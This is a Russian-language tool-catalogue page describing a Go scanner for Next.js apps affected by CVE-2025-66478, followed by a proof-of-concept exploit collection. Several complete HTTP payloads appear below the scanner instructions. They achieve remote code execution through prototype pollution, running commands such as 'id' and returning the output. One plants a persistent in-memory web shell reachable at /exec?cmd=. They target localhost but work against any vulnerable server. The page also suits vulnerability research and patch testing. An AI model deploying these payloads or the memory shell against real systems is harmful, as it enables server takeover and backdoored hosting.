Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Next.js-RSC-RCE-Scanner-CVE-2025-66478 — Сканер командной строки для пакетного обнаружения версий приложений Next.js и определения, подвержены ли они уязвимости CVE-2025-66478. | Kitploit
Инструменты/GitHubGitHub/malayke/next.js-rsc-rce-scanner-cve-2025-66478
Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеРазработка Полезной Нагрузки
GitHubmalayke/next.js-rsc-rce-scanner-cve-2025-66478

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Сканер командной строки для пакетного обнаружения версий приложений Next.js и определения, подвержены ли они уязвимости CVE-2025-66478.

Репозиторий
4298289 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Сканер RSC RCE для Next.js и коллекция POC/эксплойтов (CVE-2025-66478)

Командный сканер для массового обнаружения версий приложений Next.js и определения, подвержены ли они уязвимости CVE-2025-66478.

Этот сканер не эксплуатирует уязвимость

Описание уязвимости

https://nextjs.org/blog/CVE-2025-66478

Установка

Предварительные требования

  • Go версии 1.19 или выше
  • Браузер Chrome/Chromium (go-rod загрузит его автоматически)
git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478

Сборка

cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# Сборка для Windows
go build -o nextjs-rce-scanner.exe

Использование

# Сканирование с высокой степенью параллелизма (10 одновременных)
./nextjs-rce-scanner -file urls.txt -c 10
# Режим GUI (для отладки):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# Пользовательский тайм-аут
./nextjs-rce-scanner -file urls.txt -timeout 60
# Для серверов без графического интерфейса (Ubuntu/Debian) — добавьте флаги Chrome
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# Используйте системный Chrome/Chromium
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# Комбинируйте путь к бинарнику Chrome с флагами (для серверов)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# Фильтруйте и сканируйте определённые URL
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# Комбинируйте с другими инструментами Unix
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3

Стандартные пути к бинарникам Chrome

Нажмите, чтобы развернуть пути

Linux:

  • Ubuntu/Debian: /usr/bin/google-chrome или /usr/bin/chromium-browser
  • CentOS/RHEL: /usr/bin/google-chrome-stable или /usr/bin/chromium
  • Flatpak: /var/lib/flatpak/exports/bin/com.google.Chrome

macOS:

  • /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
  • /Applications/Chromium.app/Contents/MacOS/Chromium

Windows:

  • C:\Program Files\Google\Chrome\Application\chrome.exe
  • C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Как это работает

  1. Использует go-rod для запуска браузера Chrome
  2. Создаёт Page Pool для управления параллелизмом
  3. Посещает целевой URL и ожидает загрузки страницы
  4. Выполняет JavaScript window.next.version для получения информации о версии
  5. Анализирует номер версии и определяет на основе области уязвимости
  6. Выводит результаты сканирования

Настройка уязвимого окружения

Установка уязвимой версии с помощью create-next-app

npx [email protected] my-cve-2025-66478-app
cd my-cve-2025-66478-app
# Start the application
npm run dev

Pop Calculator

Нажмите, чтобы развернуть полезную нагрузку
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

🚨 Runtime Memory Shell 🚨

Настройка memshell на первом этапе

Нажмите, чтобы развернуть полезную нагрузку
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

затем запрос к endpoint memshell для выполнения команды

curl "http://localhost:3000/exec?cmd=ls+-l"

Полезная нагрузка, позволяющая увидеть результат выполнения команды в теле ответа (самая полезная)

Нажмите, чтобы развернуть полезную нагрузку
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

полезная нагрузка, позволяющая увидеть результат выполнения команды в заголовке ответа

Нажмите, чтобы развернуть полезную нагрузку
Скачать инструмент